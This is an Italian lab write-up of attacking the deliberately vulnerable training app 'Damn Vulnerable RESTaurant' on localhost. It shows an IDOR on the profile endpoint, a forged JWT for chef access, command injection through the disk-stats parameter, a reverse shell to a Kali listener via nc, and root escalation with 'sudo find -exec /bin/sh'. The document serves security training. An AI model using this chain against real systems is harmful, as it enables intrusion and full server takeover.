

DAMN Vulnerable RESTaurant

1. [Registrazione come utente standard:](#)
2. [Individuazione del ruolo admin:](#)
3. [Creazione del token:](#)
4. [VUL: Test dei permessi:](#)
5. [Test di altre api:](#)
6. [VUL: “admin/stats/disk” arguments](#)
7. [Exploit Python:](#)

Puggioni Riccardo | Santambrogio Lorenzo

Registrazione come utente standard:

Come prima cosa notiamo un header per la registrazione degli utenti nel /docs, procediamo a creare un utente tramite il JSON predisposto dal sito. La risposta contiene “Customer” che si presume essere l’utente base. Appena creato l’utente ci accorgiamo che è presente una vulnerabilità ossia che non esegue nessuna tipologia di verifica sui miei dati di registrazione che assicura che sono veramente io o mi sto fingendo qualcun altro come ad esempio il numero di telefono non invia nessun otp di verifica.

Request				Response			
Pretty	Raw	Hex		Pretty	Raw	Hex	Render
<pre>1 POST /register HTTP/1.1 2 Host: localhost:8000 3 Content-Length: 131 4 sec-ch-ua: "Chromium";v="123", "Not:A-Brand";v="8" 5 accept: application/json 6 Content-Type: application/json 7 sec-ch-ua-mobile: ?0 8 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/123.0.6312.122 Safari/537.36 9 sec-ch-ua-platform: "Linux" 10 Origin: http://localhost:8000 11 Sec-Fetch-Site: same-origin 12 Sec-Fetch-Mode: cors 13 Sec-Fetch-Dest: empty 14 Referer: http://localhost:8000/docs 15 Accept-Encoding: gzip, deflate, br 16 Accept-Language: en-US,en;q=0.9 17 Connection: close 18 19 { 20 "username": "new", 21 "password": "user21", 22 "first_name": "user21", 23 "last_name": "user21", 24 "phone_number": "1567489e330" 25 }</pre>				<pre>1 HTTP/1.1 201 Created 2 date: Wed, 08 May 2024 13:01:44 GMT 3 server: uvicorn 4 content-length: 108 5 content-type: application/json 6 access-control-allow-origin: * 7 access-control-allow-credentials: true 8 connection: close 9 10 { "username": "new", "first_name": "user21", "last_name": "user21", "phone_number": "1567489e330", "role": "Customer" }</pre>			

Individuazione del ruolo admin:

Troviamo immediatamente il nome del ruolo che si presume essere il più importante o l’admin, testando i permessi dell’utente “customer” notiamo che in alcune funzioni è necessario l’uso di un account “chef”.

Code

Details

403

Error: Forbidden

Undocumented

Response body

```
{
  "detail": "Only Chef is authorized to get current disk stats!"
}
```

Download

Response headers

```
connection: close
content-length: 63
content-type: application/json
date: Wed, 08 May 2024 13:39:54 GMT
server: uvicorn
```

Responses

Creazione del token:

Creiamo un token tramite l'endpoint `/token`, usando il nostro nome utente creato inizialmente, successivamente ci ritroviamo con un token non utilizzabile per accedere come `chef`, quindi andremo su `jwt.io` per modificare il nome utente in `chef`.

Original request

PrettyRawHex

```
1 PUT /profile HTTP/1.1
2 Host: localhost:8000
3 Content-Length: 106
4 sec-ch-ua: "Chromium";v="123", "Not:A-Brand";v="8"
5 accept: application/json
6 Content-Type: application/json
7 sec-ch-ua-mobile: ?0
8 Authorization: Bearer
  eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJzdWIiOiIxMjI2VWVMSiIsInV4cCI6MTcxNTE3NDcxNm0uA0JlK
  XESBRYEwJ5GSe9afFkv_GUQCj-9He59heEsVU
9 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like
  Gecko) Chrome/129.0.6512.122 Safari/537.36
10 sec-ch-ua-platform: "Linux"
11 Origin: http://localhost:8000
12 Sec-Fetch-Site: same-origin
13 Sec-Fetch-Mode: cors
14 Sec-Fetch-Dest: empty
15 Referer: http://localhost:8000/docs
16 Accept-Encoding: gzip, deflate, br
17 Accept-Language: en-US,en;q=0.9
18 Connection: close
19
20 {
21   "username": "new",
22   "first_name": "pocccc",
23   "last_name": "blllssdd",
24   "phone_number": "12121212"
25 }
```

Response

PrettyRawHexRender

```
1 HTTP/1.1 200 OK
2 date: Wed, 08 May 2024 13:13:16 GMT
3 server: uvicorn
4 content-length: 107
5 content-type: application/json
6 access-control-allow-origin: *
7 access-control-allow-credentials: true
8 connection: close
9
10 {
11   "username": "new",
12   "first_name": "pocccc",
13   "last_name": "blllssdd",
14   "phone_number": "12121212",
15   "role": "Customer"
16 }
```

VUL: Test dei permessi:

A questo punto iniziamo a cercare le vulnerabilità, notiamo subito un PUT “/profile”, procediamo a provare l’accesso con un secondo utente “Customer” per provare a modificare i dati dell’account iniziale.

Proviamo a effettuare una richiesta cambiando il token dell’account iniziale (user1) sostituendo semplicemente i dati con il nome utente del secondo account (new) durante l’intercettazione della richiesta, al suo invio possiamo notare che i dati dell’account ***new*** sono stati cambiati.

Confermiamo la vulnerabilità su “/profile”

Request body required

application/json

Example Value | Schema

```
{
  "username": "new",
  "first_name": "pocccc",
  "last_name": "bllssdd",
  "phone_number": "12121212"
}
```

Responses

Curl

```
curl -X 'PUT' \
  'http://localhost:8000/profile' \
  -H 'accept: application/json' \
  -H 'Authorization: Bearer eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJzdWIiOiJ1c2VyMSIsImV4cCI6MTcxNTE3NDcxNn0.A0J1KXESBRyEwJ5G3e9affKv_GUQCGJ-9He59heEsVU' \
  -H 'Content-Type: application/json' \
  -d '{
    "username": "new",
    "first_name": "pocccc",
    "last_name": "bllssdd",
    "phone_number": "12121212"
  }'
```

Request URL

```
http://localhost:8000/profile
```

Per autorizzare l’accesso tramite token con lo username di “chef” è necessario modificarlo come il precedente.

Encoded

PASTE A TOKEN HERE

```
eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJzdWIiOiJjaGVmIiwiaXhwIjoxODE1MjYzMzM4fQ.yPVGhS3V4LPQ9EWvsrRHH6cbX03egMtlkUwhOrsTyw
```

Decoded

EDIT THE PAYLOAD AND SECRET

HEADER: ALGORITHM & TOKEN TYPE

```
{
  "alg": "HS256",
  "typ": "JWT"
}
```

PAYLOAD: DATA

```
{
  "sub": "chef",
  "exp": 1815263338
}
```

VERIFY SIGNATURE

```
HMACSHA256(
  base64UrlEncode(header) + "." +
  base64UrlEncode(payload),
  your-256-bit-secret
) ☐ secret base64 encoded
```

Come si può notare, è stato cambiato “sub” e “exp”.

Successivamente testiamo un accesso all’api admin/stats/disk, confermiamo un successo:

TOKEN CHANGE:

```
GET /admin/stats/disk HTTP/1.1
Host: localhost:8000
sec-ch-ua: "Chromium";v="123", "Not:A-Brand";v="8"
accept: application/json
sec-ch-ua-mobile: ?0
Authorization: Bearer eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJzdWIiOiJjaGVmIiwiaXhwIjoxODE1MjYzMzM4fQ.yPVGhS3V4LPQ9EWvsrRHH6cbX03egMtlkUwhOrsTyw
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/123.0.6312.122 Safari/537.36
sec-ch-ua-platform: "Linux"
Sec-Fetch-Site: same-origin
Sec-Fetch-Mode: cors
Sec-Fetch-Dest: empty
Referer: http://localhost:8000/docs
Accept-Encoding: gzip, deflate, br
Accept-Language: en-US,en;q=0.9
Connection: close

GET /admin/stats/disk HTTP/1.1
Host: localhost:8000
sec-ch-ua: "Chromium";v="123", "Not:A-Brand";v="8"
accept: application/json
sec-ch-ua-mobile: ?0
Authorization: Bearer eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJzdWIiOiJjaGVmIiwiaXhwIjoxODE1MjYzMzM4fQ.yPVGhS3V4LPQ9EWvsrRHH6cbX03egMtlkUwhOrsTyw
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/123.0.6312.122 Safari/537.36
sec-ch-ua-platform: "Linux"
Sec-Fetch-Site: same-origin
Sec-Fetch-Mode: cors
Sec-Fetch-Dest: empty
Referer: http://localhost:8000/docs
Accept-Encoding: gzip, deflate, br
Accept-Language: en-US,en;q=0.9
Connection: close
```

COMANDO ESEGUITO CON SUCCESSO

```

Pretty  Raw  Hex  Render
1 HTTP/1.1 200 OK
2 date: Thu, 09 May 2024 13:50:04 GMT
3 server: uvicorn
4 content-length: 238
5 content-type: application/json
6 connection: close
7
8 {
  "output":
    "Filesystem      Size  Used Avail Use% Mounted on\noverlay          34G   17G   15G
    54% /mntmpfs        64M    0   64M   0% /dev/nshm
    0% /dev/shm\n/dev/sdal    34G   17G   15G  54% /app"
}
```

Test di altre api:

Per raccogliere informazioni, ci siamo incrociati con l'api healthcheck, runnando l'api possiamo notare che il sistema contiene installato Python 3.8, allora possiamo provare a injectare un codice per fare un test. Per questo abbiamo bisogno di un api che contenga degli arguments.

Curl

```
curl -X 'GET' \
  'http://localhost:8080/healthcheck' \
  -H 'accept: application/json'
```

Request URL

http://localhost:8080/healthcheck

Server response

Code

Details

200

Response body

```
{
  "ok": true
}
```

Download

Response headers

```
connection: close
content-length: 11
content-type: application/json
date: Thu, 09 May 2024 13:52:33 GMT
server: uvicorn
x-powered-by: Python 3.8, FastAPI ^0.103.0
```

Responses

VUL: “admin/stats/disk” arguments

A questo punto testiamo un comando di linux per controllare se effettivamente si possa considerare vulnerabile questa api. Testiamo ls.

COMANDO INVIATO:

Parameters	
Name	Description
parameters string (query)	ls; ls /

RISPOSTA:

Code	Details
200	<div>Response body</div> <pre>{ "output": "app\\nbin\\nboot\\ndev\\netc\\nhome\\nlib\\nlib64\\nmedia\\nmnt\\nopt\\nproc\\nroot\\nrun\\nsbin\\nsrv\\nsys\\ntmp\\nusr\\nvar" }</pre>

VULNERABILITA' CONFERMATA

Exploit Python

Generiamo un exploit Python dal sito [revshells](https://revshells.com/) e lo inseriamo all'interno di arguments nell'api admin/stats/disk e avviamo un listener sulla macchina Kali:

```
(kali㉿kali)-[~]
$ nc -lvnp 87
listening on [any] 87 ...
```

Lanciamo il comando (query) con il token di “chef”

admin

GET /admin/stats/disk Get Disk Usage Stats	
Parameters	
Name	Description
parameters string (query)	ls; export RHOST="192.168.58.128";export F
Servers	

Successo! Ora proviamo a vedere che utente stiamo utilizzando

```
(kali㉿kali)-[~]
$ nc -lvnp 87
listening on [any] 87 ...
connect to [192.168.58.128] from (UNKNOWN) [172.18.0.3] 58290
$ whoami
whoami
app
```

Dopo un test di sudo, scopriamo che l’utente ha i permessi sudo, quindi possiamo diventare root tramite il comando find:

```
$ sudo find . -exec /bin/sh \; -quit
sudo find . -exec /bin/sh \; -quit
# whoami
whoami
root
```